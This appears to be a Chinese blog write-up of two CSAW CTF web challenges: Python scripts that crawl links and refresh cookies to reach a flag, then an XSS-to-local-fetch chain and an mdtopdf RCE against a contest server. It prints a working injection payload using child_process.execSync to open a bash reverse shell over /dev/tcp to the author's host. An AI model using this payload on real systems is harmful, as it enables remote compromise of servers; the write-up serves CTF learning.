首页 > 其他分享 >CSAWCTF

CSAWCTF

时间:2022-09-19 02:00:33浏览次数:79  
标签:cnt strhtml text print cookie CSAWCTF reg

Web

Word wide web

使用爬虫截取返回信息,用正则匹配寻找有效的 <a 标签,匹配href后的路径并重复访问,直到找到flag。网页会用cookie检测用户,相应头中有字段 "Set-Cookie" 表示新cookie的值,将cookie设置为相应的值后再次发送即可完成认证,最后停止即可得到flag

手动设置cookie:

import requests
import re

url="http://web.chal.csaw.io:5010"
reg="/stuff"
ck={"solChain":"stuff"}
cnt=0

while 1:
    strhtml = requests.get(url+reg,cookies=ck)  #设置cookie
    regs=re.findall("<a href=\"(/[^>\"]*)\">",strhtml.text) #寻找href
    cnt+=1
    headers=strhtml.headers
    print(headers)
    try:
        print(headers['Set-Cookie'])
        reg_one=re.findall("solChain=([^;]*)",headers['Set-Cookie'])    #提取新cookie
    except:
        print(cnt)
        print(strhtml.text) #回显flag
        print("no cookie!")
        break
    ck["solChain"]=reg_one[0]   #设置cookie
    print(ck)

    if len(regs)==0:
        print(cnt)
        break
    else:
        reg=regs[0]

用session保持会话自动存储cookie:

import requests
import re

req=requests.session()
url="http://web.chal.csaw.io:5010"
reg="/stuff"
cnt=0

while 1:
    strhtml = req.get(url+reg)  #设置cookie
    regs=re.findall("<a href=\"(/[^>\"]*)\">",strhtml.text) #寻找href
    cnt+=1

    if len(regs)==0:
        print(cnt)
        print(strhtml.text) #回显flag
        break
    else:
        reg=regs[0]

My little website

先访问自己的服务器,关闭一下防火墙先:CentOS-firewalld防火墙设置

<script>
fetch('http://myIp:23333');
</script>
Ncat: Connection from 35.88.90.167.
Ncat: Connection from 35.88.90.167:59630.
GET / HTTP/1.1
Host: myIp:23333
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/106.0.5249.0 Safari/537.36
Accept: */*
Origin: http://localhost:44791
Referer: http://localhost:44791/
Accept-Encoding: gzip, deflate
Accept-Language: en-US

得到的回显如上,接收到一些信息,如UA和Origin:host、referer和origin的区别

若是使用https协议访问服务器,会导致服务器接受到乱码信息

由于origin显示的是服务器的地址,因此它应该可以访问自己,尝试访问其本地的内容并将其渲染出来:

<script>
fetch('/')
	.then(response => response.text())
	.then(data => document.write(" <pre> "+data));
</script>

这里的主要问题在于如何将fetch到的内容渲染出来,一方面使用document.write(str)将字符串写入当前的文件中,另一方面fetch返回的response中 text() 函数对应于 json() 可以将访问得到响应内容的主体部分,也就是HTML内容以文本的形式返回回来。(一开始遇到的主要问题是不知道这个response到底把HTML内容放哪去了)由于写进去的是字符串内容,可以直接在前面连接一个 <pre> 标签,保留目标内容中的空白字符,使得展示的内容有缩进。(直接展示会合并空白字符导致可读性差)

进去以后会发现有个node.js存放依赖列表的package.json文件,其中有个依赖是"mdtopdf 4.0.0",搜索相关的CVE会发现它在5.0.0版本前有个RCE漏洞,直接搜索可找到PoC,将payload换成revshell内容即可:

---js
((require("child_process")).execSync("bash -c 'bash -i >& /dev/tcp/ip/23333 0>&1 '"))
---RCE

PoC中的第一个n其实是\n,而且这个漏洞看起来非常的奇怪,也不知道是怎么实现的rce(好像这诡异的注释都是RCE的原因)

由于默认的shell是sh,而sh没法revshell,因此手动用bash读取命令,最后的单双引号中至少要有一个前面有一个空格,否则就无法成功,原因不明。

得到shell后直接 cat /flag.txt 即可得到flag:CTF{pdf_c0nt1nu3s_70_5uCK}

标签:cnt,strhtml,text,print,cookie,CSAWCTF,reg
From: https://www.cnblogs.com/Forest-set-you/p/16706424.html

相关文章